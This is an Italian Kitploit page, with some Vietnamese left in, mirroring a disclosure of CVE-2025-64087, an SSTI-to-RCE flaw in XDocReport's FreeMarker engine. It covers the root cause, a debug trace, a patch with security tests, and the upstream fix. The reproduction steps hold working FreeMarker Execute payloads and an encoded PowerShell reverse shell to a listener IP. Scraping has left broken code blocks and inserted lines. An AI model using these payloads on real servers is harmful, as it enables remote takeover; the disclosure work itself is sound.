Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2025-64087-SSTI- — CVE-2025-64087 (SSTI) | Kitploit
Strumenti/GitHubGitHub/at190510-cuong/cve-2025-64087-ssti-
Analisi delle VulnerabilitàAnalisi del CodiceExploitSfruttamento di Applicazioni WebApprendimento e FormazioneSviluppo Payload
GitHubat190510-cuong/cve-2025-64087-ssti-

CVE-2025-64087-SSTI-

CVE-2025-64087 (SSTI)

Vedi Repository
116 mesi faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2025-64087 (SSTI FreeMarker)

Server-Side Template Injection (SSTI) in XDocReport allows Remote Code Execution via Apache FreeMarker engine

Bug Definition

Panoramica della vulnerabilità

  • Server-Side Template Injection (SSTI) è una vulnerabilità di sicurezza web che consente a un attaccante di iniettare codice malevolo nei template utilizzati da sistemi di gestione dei contenuti (CMS) e framework web, al fine di eseguire attacchi remoti, ottenere informazioni sensibili o condurre attività di intrusione nel sistema.

  • SSTI è una variante delle vulnerabilità di Injection (come SQL Injection, XSS, ecc.), in cui un hacker sfrutta l'uso di sistemi di template per distribuire codice malevolo da remoto. Quando un attacco SSTI ha successo, l'attaccante può eseguire il proprio codice sul server lato server, permettendogli di eseguire attacchi remoti, come la raccolta di informazioni sensibili, lo svolgimento di attività di intrusione nel sistema e l'accesso a risorse non autorizzate.

  • La vulnerabilità SSTI si verifica spesso a causa dell'uso di sistemi di template non sicuri o della mancata verifica e gestione dei parametri di input prima di inserirli nei template. Se un attacco SSTI ha successo, le conseguenze possono essere gravi e causare danni significativi all'organizzazione colpita.

Impatto commerciale

  • La vulnerabilità SSTI può causare diverse conseguenze gravi, tra cui:

  • Esecuzione di codice malevolo: Un attaccante può sfruttare questa vulnerabilità per eseguire codice malevolo sul server, consentendo di rubare dati, compiere azioni illegali sul sistema o persino prendere il controllo completo del server.

  • Divulgazione di informazioni sensibili: SSTI può consentire a un attaccante di leggere, modificare o cancellare file sul server. Se questi file contengono informazioni sensibili, come account e password, l'attaccante può facilmente divulgarle.

Scarica lo strumento
  • Attacchi di minaccia o phishing agli utenti: Un attaccante può utilizzare SSTI per eseguire attacchi di minaccia o phishing agli utenti, modificando il contenuto del sito web o aggiungendo pulsanti falsi. Se l'utente clicca su questi pulsanti, l'attaccante può rubare informazioni dell'utente o installare software dannoso sul suo computer.

  • Severity: CRITICAL

    image

    Description and Impact

    A Server-Side Template Injection (SSTI) vulnerability was found in OpenSAGRES XDocReport when processing DOCX templates with the FreeMarker engine. Under certain configurations, crafted templates can lead to Remote Code Execution (RCE).

    Il sito web di gestione delle risorse umane consente agli utenti di caricare file .docx sul sistema. Durante l'elaborazione, l'applicazione utilizza il motore di template FreeMarker (nel file FreemarkerTemplateEngine.java) per renderizzare il contenuto ${"freemarker.template.utility.Execute"?new()("whoami")} senza alcun meccanismo di controllo o filtro del contenuto in input. Questa vulnerabilità permette a un attaccante di iniettare espressioni malevole nel file .docx (template), portando a Remote Code Execution (RCE) sul server e può essere sfruttata per rubare informazioni o prendere il controllo del sistema.

    Affected component

    fr.opensagres.xdocreport.template.freemarker — XDocReport (versions 1.0.0 through 2.1.0).

    Root cause analysis

    • Nel file https://github.com/opensagres/xdocreport/blob/master/template/fr.opensagres.xdocreport.template.freemarker/src/main/java/fr/opensagres/xdocreport/template/freemarker/FreemarkerTemplateEngine.java non viene eseguita alcuna verifica del contenuto del file xdoc in input. Il contenuto del template viene caricato direttamente e passato a process(context, writer, template) per essere elaborato dal motore FreeMarker senza alcun meccanismo di sandboxing o limitazione di direttive/espressioni. Di conseguenza, un attaccante può fornire un template contenente espressioni/istruzioni FreeMarker malevole, portando all'esecuzione di codice remoto (RCE).

    image

    Step to reproduce

    1. L'utente carica un file .docx il cui contenuto è il seguente payload:``` ${"freemarker.template.utility.Execute"?new()("calc")}
    root@kitploit:~
    ![image](https://assets.kitploit.com/production/public/readmes/placeholders/f0fc86cfe65f76d40e15aaec61704ec8220a56dc89d4be03c46f67cb31b9fa8c.svg)
    
    2. Si vede che può essere eseguito con successo e apre l'applicazione calc
    
    ![image](https://assets.kitploit.com/production/public/readmes/placeholders/f0fc86cfe65f76d40e15aaec61704ec8220a56dc89d4be03c46f67cb31b9fa8c.svg)
    
    3. Allo stesso modo, per ottenere le informazioni dell'utente in esecuzione sul sistema con il payload:```
    ${"freemarker.template.utility.Execute"?new()("whoami")}
    

    image

    image

    1. Si può notare che il file .docx, dopo l'elaborazione da parte del template engine, ha restituito i dati del sistema.

    image

    1. Analogamente con il seguente payload:``` ${"freemarker.template.utility.Execute"?new()("cmd /c dir d:")}
    root@kitploit:~
    ![image](https://assets.kitploit.com/production/public/readmes/placeholders/f0fc86cfe65f76d40e15aaec61704ec8220a56dc89d4be03c46f67cb31b9fa8c.svg)
    
    ![image](https://assets.kitploit.com/production/public/readmes/placeholders/f0fc86cfe65f76d40e15aaec61704ec8220a56dc89d4be03c46f67cb31b9fa8c.svg)
    
    ![image](https://assets.kitploit.com/production/public/readmes/placeholders/f0fc86cfe65f76d40e15aaec61704ec8220a56dc89d4be03c46f67cb31b9fa8c.svg)
    
    6. Aumentare l'impatto a RCE
    
    - La macchina in ascolto è wsl con indirizzo IP `172.26.208.130`
    
    ![image](https://assets.kitploit.com/production/public/readmes/placeholders/f0fc86cfe65f76d40e15aaec61704ec8220a56dc89d4be03c46f67cb31b9fa8c.svg)
    
    - sfruttare con il seguente payload:
    
    ![image](https://assets.kitploit.com/production/public/readmes/placeholders/f0fc86cfe65f76d40e15aaec61704ec8220a56dc89d4be03c46f67cb31b9fa8c.svg)```java
    ${"freemarker.template.utility.Execute"?new()("powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQA3ADIALgAyADYALgAyADAAOAAuADEAMwAwACIALAA5ADkAOQA5ACkAOwAkAHMAdAByAGUAYQBtACAAPQAgACQAYwBsAGkAZQBuAHQALgBHAGUAdABTAHQAcgBlAGEAbQAoACkAOwBbAGIAeQB0AGUAWwBdAF0AJABiAHkAdABlAHMAIAA9ACAAMAAuAC4ANgA1ADUAMwA1AHwAJQB7ADAAfQA7AHcAaABpAGwAZQAoACgAJABpACAAPQAgACQAcwB0AHIAZQBhAG0ALgBSAGUAYQBkACgAJABiAHkAdABlAHMALAAgADAALAAgACQAYgB5AHQAZQBzAC4ATABlAG4AZwB0AGgAKQApACAALQBuAGUAIAAwACkAewA7ACQAZABhAHQAYQAgAD0AIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIAAtAFQAeQBwAGUATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEEAUwBDAEkASQBFAG4AYwBvAGQAaQBuAGcAKQAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABiAHkAdABlAHMALAAwACwAIAAkAGkAKQA7ACQAcwBlAG4AZABiAGEAYwBrACAAPQAgACgAaQBlAHgAIAAkAGQAYQB0AGEAIAAyAD4AJgAxACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcAIAApADsAJABzAGUAbgBkAGIAYQBjAGsAMgAgAD0AIAAkAHMAZQBuAGQAYgBhAGMAawAgACsAIAAiAFAAUwAgACIAIAArACAAKABwAHcAZAApAC4AUABhAHQAaAAgACsAIAAiAD4AIAAiADsAJABzAGUAbgBkAGIAeQB0AGUAIAA9ACAAKABbAHQAZQB4AHQALgBlAG4AYwBvAGQAaQBuAGcAXQA6ADoAQQBTAEMASQBJACkALgBHAGUAdABCAHkAdABlAHMAKAAkAHMAZQBuAGQAYgBhAGMAawAyACkAOwAkAHMAdAByAGUAYQBtAC4AVwByAGkAdABlACgAJABzAGUAbgBkAGIAeQB0AGUALAAwACwAJABzAGUAbgBkAGIAeQB0AGUALgBMAGUAbgBnAHQAaAApADsAJABzAHQAcgBlAGEAbQAuAEYAbAB1AHMAaAAoACkAfQA7ACQAYwBsAGkAZQBuAHQALgBDAGwAbwBzAGUAKAApAA==")}
    

    image

    • Passa il file .docx attraverso xdocreport per elaborarlo

    image

    • Vedere che è stata catturata una shell restituita sulla macchina wsl

    image

    Soluzione

    Bloccare l'esecuzione di reflection (il più sicuro ma attualmente con errore di build)

    • nel file xdocreport\template\fr.opensagres.xdocreport.template.freemarker\src\main\java\fr\opensagres\xdocreport\template\freemarker\FreemarkerTemplateEngine.java aggiungere i seguenti contenuti

    image

    image

    La mia correzione permette ancora di renderizzare oggetti e proprietà normali come ${cuong.name} e blocca solo le built-in functions PERICOLOSE

    • Tutti i payload SSTI sono bloccati:
      • ${'freemarker.template.utility.Execute'?new()('calc')} - BLOCCATO da ALLOWS_NOTHING_RESOLVER
      • ${'java.lang.Runtime'?api.getRuntime()} - BLOCCATO da setAPIBuiltinEnabled(false)
      • Tutti gli altri payload che utilizzano ?new() e ?api sono bloccati

    Validazione input

    1. File principale - FreemarkerTemplateEngine.java

    Percorso: template/fr.opensagres.xdocreport.template.freemarker/src/main/java/fr/opensagres/xdocreport/template/freemarker/FreemarkerTemplateEngine.java

    Modifiche:

    • ✅ Aggiunto import: java.util.regex.Pattern
      image

    • ✅ Aggiunto metodo validateTemplateSecurity(Reader reader) — Convalida pattern pericolosi
      image

    • ✅ Aggiornato processNoCache() — Aggiunta convalida prima di creare il Template
      image

    • ✅ Aggiornato process(String templateName, …) — Aggiunta convalida a questo metodo
      image

    2. File di test - FreemarkerTemplateEngineSecurityTestCase.java

    Percorso: template/fr.opensagres.xdocreport.template.freemarker/src/test/java/fr/opensagres/xdocreport/template/freemarker/FreemarkerTemplateEngineSecurityTestCase.java

    Modifiche:

    • ✅ Creato nuovo caso di test — Testa payload SSTI comuni
    • ✅ Payload principale testato: ${"freemarker.template.utility.Execute"?new()("whoami")}
    • ✅ Pattern aggiuntivi testati: ?new, java.lang.Runtime, java.lang.ProcessBuilder, ecc.
    • ✅ Test template sicuro — Assicura che i template normali funzionino ancora correttamente

    Riepilogo delle modifiche

    FileTipo di modificaScopo
    FreemarkerTemplateEngine.javaModificatoAggiunta protezione SSTI
    FreemarkerTemplateEngineSecurityTestCase.javaNuovo fileTesta la logica di convalida

    Correzione finale

    • https://github.com/opensagres/xdocreport/pull/705

    image

    image

    Nella versione patch 2.2.0 è stato attivato il meccanismo di protezione e blocco SSTI con successo

    image

    Riferimenti

    • https://portswigger.net/web-security/server-side-template-injection

    Configurazione ambiente di debug

    image

    • nel file Main.java```java package org.example;

    import fr.opensagres.xdocreport.document.IXDocReport; import fr.opensagres.xdocreport.document.registry.XDocReportRegistry; import fr.opensagres.xdocreport.template.IContext; import fr.opensagres.xdocreport.template.TemplateEngineKind;

    import java.io.*; import java.io.File; import java.io.FileInputStream; import java.io.FileOutputStream; import java.io.InputStream; import java.io.OutputStream;

    public class Main {

    root@kitploit:~
    public static void main(String[] args) {
        try {
            // Đọc file đầu vào chứa biểu thức Velocity
            File docxTemplate = new File("C:\\Users\\HP\\Downloads\\vcspentest.docx"); // File đầu vào
            InputStream input = new FileInputStream(docxTemplate);
    
            // Load template sử dụng FreeMarker
            IXDocReport report = XDocReportRegistry.getRegistry().loadReport(input, TemplateEngineKind.Freemarker);
    
            // Tạo context - có thể để trống nếu chỉ test biểu thức độc lập
            IContext context = report.createContext();
    
            // Xuất ra file mới
            OutputStream out = new FileOutputStream(new File("C:\\Users\\HP\\Downloads\\results.docx"));
            report.process(context, out);
    
            System.out.println("✅ Đã tạo file result.docx thành công.");
        } catch (Exception e) {
            System.err.println("❌ Lỗi xử lý file:");
            e.printStackTrace();
        }
    }
    

    }

    root@kitploit:~
    - Libreria da importare```xml
    <?xml version="1.0" encoding="UTF-8"?>
    <project xmlns="http://maven.apache.org/POM/4.0.0"
             xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
             xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
        <modelVersion>4.0.0</modelVersion>
    
        <groupId>org.example</groupId>
        <artifactId>vcs1</artifactId>
        <version>1.0-SNAPSHOT</version>
    
        <properties>
            <maven.compiler.source>18</maven.compiler.source>
            <maven.compiler.target>18</maven.compiler.target>
            <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
        </properties>
    
        <dependencies>
            <!-- Template engine: FreeMarker -->
            <dependency>
                <groupId>fr.opensagres.xdocreport</groupId>
                <artifactId>fr.opensagres.xdocreport.template.freemarker</artifactId>
                <version>2.1.0</version>
            </dependency>
    
            <dependency>
                <groupId>fr.opensagres.xdocreport</groupId>
                <artifactId>fr.opensagres.xdocreport.document.docx</artifactId>
                <version>2.0.3</version>
            </dependency>
        </dependencies>
    </project>
    

    A Punto di partenza (entry points / sources)```java File docxTemplate = new File("C:\Users\HP\Downloads\vcspentest.docx");

    root@kitploit:~
    → source è questo file DOCX — se il file viene caricato/scritto dall'utente, il contenuto del template all'interno (sintassi FreeMarker) è un dato non affidabile.```
    InputStream input = new FileInputStream(docxTemplate);
    

    → leggi il contenuto del file per inoltrarlo a XDocReport.```java IXDocReport report = XDocReportRegistry.getRegistry().loadReport(input, TemplateEngineKind.Freemarker);

    root@kitploit:~
    - loadReport(...) analizzerà (parserà) il file DOCX, troverà l'entry/template nel DOCX e creerà un IXDocReport (al suo interno inizializzerà l'oggetto Template di FreeMarker o manterrà un reader per il template).
    
    - Il contenuto del template nel file DOCX ora si trova nell'oggetto report (ancora non eseguito).
    
    ![image](https://assets.kitploit.com/production/public/readmes/placeholders/f0fc86cfe65f76d40e15aaec61704ec8220a56dc89d4be03c46f67cb31b9fa8c.svg)
    
    ![image](https://assets.kitploit.com/production/public/readmes/placeholders/f0fc86cfe65f76d40e15aaec61704ec8220a56dc89d4be03c46f67cb31b9fa8c.svg)
    
    zipInputStream.getNextEntry() itera su ogni entry (ogni file) all'interno del ZIP (.docx).
    
    archive = new XDocArchive(...) — se non esiste ancora un archive, inizializza un oggetto per organizzare/registrare gli entry del documento.
    
    ![image](https://assets.kitploit.com/production/public/readmes/placeholders/f0fc86cfe65f76d40e15aaec61704ec8220a56dc89d4be03c46f67cb31b9fa8c.svg)
    
    In sintesi: questa sezione decomprime il contenuto del DOCX in una struttura interna (XDocArchive) in modo che le parti successive possano accedere ai file secondari (document.xml,...).```java
    private IXDocReport loadReport( InputStream sourceStream, String reportId, String templateEngineKind,
                                        ITemplateEngine templateEngine, boolean cacheReport )
            throws IOException, XDocReportException
        {
            initializeIfNeeded();
            // 2) zip was loaded, create an instance of report
            IXDocReport report = createReport( sourceStream );
            // 3) Update the report id if need.
            if ( StringUtils.isEmpty( reportId ) )
            {
                reportId = report.toString();
            }
            report.setId( reportId );
            // 4) Search or set the template engine.
            if ( templateEngine == null && StringUtils.isNotEmpty( templateEngineKind ) )
            {
                // Template engine was not forced.
                // Search template engine
                String documentKind = report.getKind();
                templateEngine =
                    TemplateEngineInitializerRegistry.getRegistry().getTemplateEngine( templateEngineKind, documentKind );
                if ( templateEngine == null )
                {
                    templateEngine =
                        TemplateEngineInitializerRegistry.getRegistry().getTemplateEngine( templateEngineKind, null );
                }
            }
            report.setTemplateEngine( templateEngine );
            if ( cacheReport )
            {
                registerReport( report );
            }
            return report;
        }
    
    PassoAzioneScopo
    1Leggere il file DOCXOttenere la struttura del report originale
    2Creare IXDocReportRappresentare il template
    3Assegnare IDGestione univoca
    4Scegliere il template enginePer elaborare le espressioni (Freemarker/Velocity)
    5Cache se necessarioOttimizzare le prestazioni
    6Restituire il reportUsato per renderizzare il file risultato

    image

    In sintesi non esiste un meccanismo di controllo SSTI in IXDocReport report = XDocReportRegistry.getRegistry().loadReport(input, TemplateEngineKind.Freemarker);, ma vengono caricati solo i file xml all'interno del docx e viene restituito IXDocReport report già pronto per l'elaborazione (ad esempio render, merge dati…).

    image

    in report.process(context, out);

    image

    • Questo è il punto di attivazione (sink di esecuzione): XDocReport chiama il motore corrispondente (qui FreeMarker) per unire il template con il contesto e renderizzare l'output in out.
    • Questo metodo prende il template del documento (ad esempio .docx o .odt) caricato in precedenza, quindi incorpora i dati dall'oggetto context (solitamente IContext) nelle variabili del template.
    • Successivamente renderizza il documento completo (con dati reali) e scrive il risultato nello stream out, cioè nel file results.docx.

    Approfondendo all'interno di questa funzione viene chiamato preprocess(...) che analizza l'XML, legge ogni entry XML, quindi fa il parsing del contenuto XML e crea un BufferedDocument, per poi scrivere in un Writer (questa è la versione XML già pre-elaborata).

    image```java public boolean preprocess( String entryName, InputStream reader, Writer writer, FieldsMetadata fieldsMetadata, IDocumentFormatter formatter, Map<String, Object> sharedContext ) throws XDocReportException, IOException { try { XMLReader xmlReader = XMLReaderFactory.createXMLReader(); BufferedDocumentContentHandler<?> contentHandler = createBufferedDocumentContentHandler( entryName, fieldsMetadata, formatter, sharedContext ); xmlReader.setContentHandler( contentHandler ); xmlReader.parse( new InputSource( reader ) ); BufferedDocument document = contentHandler.getBufferedDocument(); if ( document != null ) { document.save( writer ); // StringWriter s = new StringWriter(); // document.save( s ); // System.err.println( s ); return true; }

    root@kitploit:~
            return false;
        }
        catch ( SAXException e )
        {
            throw new XDocReportException( e );
        }
    }
    
    root@kitploit:~
    ![image](https://assets.kitploit.com/production/public/readmes/placeholders/f0fc86cfe65f76d40e15aaec61704ec8220a56dc89d4be03c46f67cb31b9fa8c.svg)
    
    poi salta in `processNoCache()` e chiama `getReader()`
    ![image](https://assets.kitploit.com/production/public/readmes/placeholders/f0fc86cfe65f76d40e15aaec61704ec8220a56dc89d4be03c46f67cb31b9fa8c.svg)
    
    ![image](https://assets.kitploit.com/production/public/readmes/placeholders/f0fc86cfe65f76d40e15aaec61704ec8220a56dc89d4be03c46f67cb31b9fa8c.svg)
    
    La funzione `getReader()` viene utilizzata per aggiungere un involucro di escape directive attorno all'intero template, per garantire che il contenuto venga elaborato in modo sicuro (escape HTML, evitare injection).
    
    ![image](https://assets.kitploit.com/production/public/readmes/placeholders/f0fc86cfe65f76d40e15aaec61704ec8220a56dc89d4be03c46f67cb31b9fa8c.svg)
    
    Template originale:```xml
    <w:p>
      <w:t>Hello ${name}!</w:t>
    </w:p>
    

    Dopo che getReader() elabora:```xml [#-- Hello ${name}! [/#escape][#--]]>--]

    root@kitploit:~
    aiuta Freemarker engine a leggere in modo più sicuro:
    
    - Protezione XML: Escape dei caratteri speciali in XML
    - Elaborazione sicura: Evita errori quando Freemarker analizza il template
    
    poi chiama `FMParser` per analizzare la sintassi di Freemarker
    
    ![image](https://assets.kitploit.com/production/public/readmes/placeholders/f0fc86cfe65f76d40e15aaec61704ec8220a56dc89d4be03c46f67cb31b9fa8c.svg)
    
    infine in `process()` chiama `environment.process();` e legge i dati```
    public void process() throws TemplateException, IOException {
            Object savedEnv = threadEnv.get();
            threadEnv.set(this);
            try {
                // Cached values from a previous execution are possibly outdated.
                clearCachedValues();
                try {
                    doAutoImportsAndIncludes(this);
                    visit(getTemplate().getRootTreeNode());
                    // It's here as we must not flush if there was an exception.
                    if (getAutoFlush()) {
                        out.flush();
                    }
                } finally {
                    // It's just to allow the GC to free memory...
                    clearCachedValues();
                }
            } finally {
                threadEnv.set(savedEnv);
            }
        }
    

    👉 Questo è il passo più importante — qui avviene effettivamente il rendering.

    • getTemplate() restituisce il template parsed (AST).

    • getRootTreeNode() è il nodo radice dell'albero sintattico creato da FMParser durante il parsing.

    • visit() è l'API principale di FreeMarker, usata per attraversare e renderizzare ogni elemento del template, ed è definita in freemarker.core.Environment

      • Incontra TextBlock → scrive il testo in output.

      • Incontra Interpolation (es. ${user.name}) → cerca nel dataModel, ottiene il valore, lo scrive in output.

      • Incontra #if, #list, #include, macro → esegue la logica corrispondente```java void visit(TemplateElement element) throws IOException, TemplateException { // ATTENTION: This method body is manually "inlined" into visit(TemplateElement[]); keep them in sync! pushElement(element); try { TemplateElement[] templateElementsToVisit = element.accept(this); if (templateElementsToVisit != null) { for (TemplateElement el : templateElementsToVisit) { if (el == null) { break; // Skip unused trailing buffer capacity } visit(el); } } } catch (TemplateException te) { handleTemplateException(te); } finally { popElement(); } // ATTENTION: This method body above is manually "inlined" into visit(TemplateElement[]); keep them in sync! }

    root@kitploit:~
    ![image](https://assets.kitploit.com/production/public/readmes/placeholders/f0fc86cfe65f76d40e15aaec61704ec8220a56dc89d4be03c46f67cb31b9fa8c.svg)
    
    ![image](https://assets.kitploit.com/production/public/readmes/placeholders/f0fc86cfe65f76d40e15aaec61704ec8220a56dc89d4be03c46f67cb31b9fa8c.svg)
    
    ![image](https://assets.kitploit.com/production/public/readmes/placeholders/f0fc86cfe65f76d40e15aaec61704ec8220a56dc89d4be03c46f67cb31b9fa8c.svg)
    
    si attiva su entryName `word/document.xml`
    
    ![image](https://assets.kitploit.com/production/public/readmes/placeholders/f0fc86cfe65f76d40e15aaec61704ec8220a56dc89d4be03c46f67cb31b9fa8c.svg)
    
    successivamente salta nella funzione `accept()`
    
    ![image](https://assets.kitploit.com/production/public/readmes/placeholders/f0fc86cfe65f76d40e15aaec61704ec8220a56dc89d4be03c46f67cb31b9fa8c.svg)```java
        TemplateElement[] accept(Environment env) throws TemplateException, IOException {
            final Object moOrStr = calculateInterpolatedStringOrMarkup(env);
            final Writer out = env.getOut();
            if (moOrStr instanceof String) {
                final String s = (String) moOrStr;
                if (autoEscape) {
                    markupOutputFormat.output(s, out);
                } else {
                    out.write(s);
                }
            } else {
                final TemplateMarkupOutputModel mo = (TemplateMarkupOutputModel) moOrStr;
                final MarkupOutputFormat moOF = mo.getOutputFormat();
                // ATTENTION: Keep this logic in sync. ?esc/?noEsc's logic!
                if (moOF == outputFormat) {
                    moOF.output(mo, out);
                } else if (!outputFormat.isOutputFormatMixingAllowed()) {
                    final String srcPlainText;
                    // ATTENTION: Keep this logic in sync. ?esc/?noEsc's logic!
                    srcPlainText = moOF.getSourcePlainText(mo);
                    if (srcPlainText == null) {
                        throw new _TemplateModelException(escapedExpression,
                                "The value to print is in ", new _DelayedToString(moOF),
                                " format, which differs from the current output format, ",
                                new _DelayedToString(outputFormat), ". Format conversion wasn't possible.");
                    }
                    if (markupOutputFormat != null) {
                        markupOutputFormat.output(srcPlainText, out);
                    } else {
                        out.write(srcPlainText);
                    }
                } else if (markupOutputFormat != null) {
                    markupOutputFormat.outputForeign(mo, out);
                } else {
                    moOF.output(mo, out);
                }
            }
            return null;
        }
    

    image```java final TemplateModel eval(Environment env) throws TemplateException { try { return constantValue != null ? constantValue : _eval(env); } catch (FlowControlException | TemplateException e) { throw e; } catch (Exception e) { if (env != null && EvalUtil.shouldWrapUncheckedException(e, env)) { throw new _MiscTemplateException( this, e, env, "Expression has thrown an unchecked exception; see the cause exception."); } else if (e instanceof RuntimeException) { throw (RuntimeException) e; } else { throw new UndeclaredThrowableException(e); } } }

    root@kitploit:~
    ![image](https://assets.kitploit.com/production/public/readmes/placeholders/f0fc86cfe65f76d40e15aaec61704ec8220a56dc89d4be03c46f67cb31b9fa8c.svg)
    
    ![image](https://assets.kitploit.com/production/public/readmes/placeholders/f0fc86cfe65f76d40e15aaec61704ec8220a56dc89d4be03c46f67cb31b9fa8c.svg)
    
    ![image](https://assets.kitploit.com/production/public/readmes/placeholders/f0fc86cfe65f76d40e15aaec61704ec8220a56dc89d4be03c46f67cb31b9fa8c.svg)
    
    ![image](https://assets.kitploit.com/production/public/readmes/placeholders/f0fc86cfe65f76d40e15aaec61704ec8220a56dc89d4be03c46f67cb31b9fa8c.svg)
    
    ![image](https://assets.kitploit.com/production/public/readmes/placeholders/f0fc86cfe65f76d40e15aaec61704ec8220a56dc89d4be03c46f67cb31b9fa8c.svg)
    
    ![image](https://assets.kitploit.com/production/public/readmes/placeholders/f0fc86cfe65f76d40e15aaec61704ec8220a56dc89d4be03c46f67cb31b9fa8c.svg)
    
    ![image](https://assets.kitploit.com/production/public/readmes/placeholders/f0fc86cfe65f76d40e15aaec61704ec8220a56dc89d4be03c46f67cb31b9fa8c.svg)
    
    ![image](https://assets.kitploit.com/production/public/readmes/placeholders/f0fc86cfe65f76d40e15aaec61704ec8220a56dc89d4be03c46f67cb31b9fa8c.svg)
    
    ![image](https://assets.kitploit.com/production/public/readmes/placeholders/f0fc86cfe65f76d40e15aaec61704ec8220a56dc89d4be03c46f67cb31b9fa8c.svg)
    
    il flusso di esecuzione nella funzione `visit()` è il seguente```
    visit(Interpolation)                // gọi accept(...)
     └─ Interpolation.accept(env)
         └─ calculateInterpolatedStringOrMarkup(env)
             └─ expression.eval(env)
                 └─ (đến _eval) target.eval(env)   // trả TemplateMethodModel (built-in new()/Execute)
                     └─ targetMethod.exec(arguments)  ← exec() thực thi -> chạy `calc` ← 💥 SSTI xảy ra ở đây
    
    

    Riepilogo debug```

    [User uploads DOCX template] │ ▼ ┌──────────────────────────────────────────┐ │ XDocReportRegistry.loadReport(...) │ │ - Nhận InputStream (file .docx) │ │ - Xác định TemplateEngineKind=Freemarker│ │ - Gọi createReport(...) │ └──────────────────────────────────────────┘ │ ▼ ┌──────────────────────────────────────────┐ │ FreemarkerTemplateEngine.loadTemplate() │ │ - Gọi new Template(templateName, Reader,│ │ Configuration) │ │ - => FMParser parse nội dung template │ └──────────────────────────────────────────┘ │ ▼ ┌──────────────────────────────────────────┐ │ FMParser(this, reader, config) │ │ - Đọc nội dung file (XML trong DOCX) │ │ - Phân tích cú pháp │ │ Tạo AST (cây cú pháp): │ │ ├─ TextBlock ("Hello") │ │ ├─ DollarVariable (${name}) │ │ └─ FunctionCall (${Runtime.exec(...)})│ └──────────────────────────────────────────┘ │ ▼ ┌──────────────────────────────────────────┐ │ Environment env = │ │ template.createProcessingEnvironment() │ │ env.process() │ └──────────────────────────────────────────┘ │ ▼ ┌──────────────────────────────────────────┐ │ Environment.process() │ │ - clearCachedValues() │ │ - doAutoImportsAndIncludes() │ │ - visit(getTemplate().getRootTreeNode())│ └──────────────────────────────────────────┘ │ ▼ ┌──────────────────────────────────────────┐ │ visit(TemplateElement node) │ │ - node.accept(env) │ │ - Ghi kết quả ra writer (output stream) │ └──────────────────────────────────────────┘ │ ▼ ┌──────────────────────────────────────────┐ │ Nếu node là ${...} │ │ ⇒ ExpressionEvaluator được gọi │ │ ⇒ eval() biểu thức bên trong ${} │ │ ⇒ Có thể truy cập method Java nếu chưa │ │ bị sandbox hoặc hạn chế │ │ ⇒ Ví dụ: ${"freemarker.template.utility.Execute"?new()("calc.exe")} │ └──────────────────────────────────────────┘ │ ▼ 🚨 Kết quả: Server-Side Template Injection (SSTI)

    root@kitploit:~
    ## 🔍 **Riepilogo dei punti chiave sfruttabili**
    
    | Fase                    | Livello               | Ruolo                 | Rilevanza SSTI            |
    | ----------------------- | --------------------- | --------------------- | ------------------------- |
    | `loadReport()`          | `XDocReportRegistry`  | Caricamento template  | Input non controllato     |
    | `getReader()`           | `TemplateEngine`      | Lettura dati template | Può contenere payload     |
    | `FMParser`              | `freemarker.core`     | Analisi contenuto     | Variabili `${}` analizzate|
    | `Environment.process()` | `freemarker.core`     | Render template       | Chiama `visit()` per nodo |
    | `visit()` / `eval()`    | `freemarker.core`     | Esecuzione espressioni| **Punto SSTI / RCE**      |
    
    ---
    
    ## Documentazione
    
    - https://drive.google.com/drive/folders/1XYFtxs5O3SMW0FemNMZ_1ft1ueFixhVz?usp=drive_link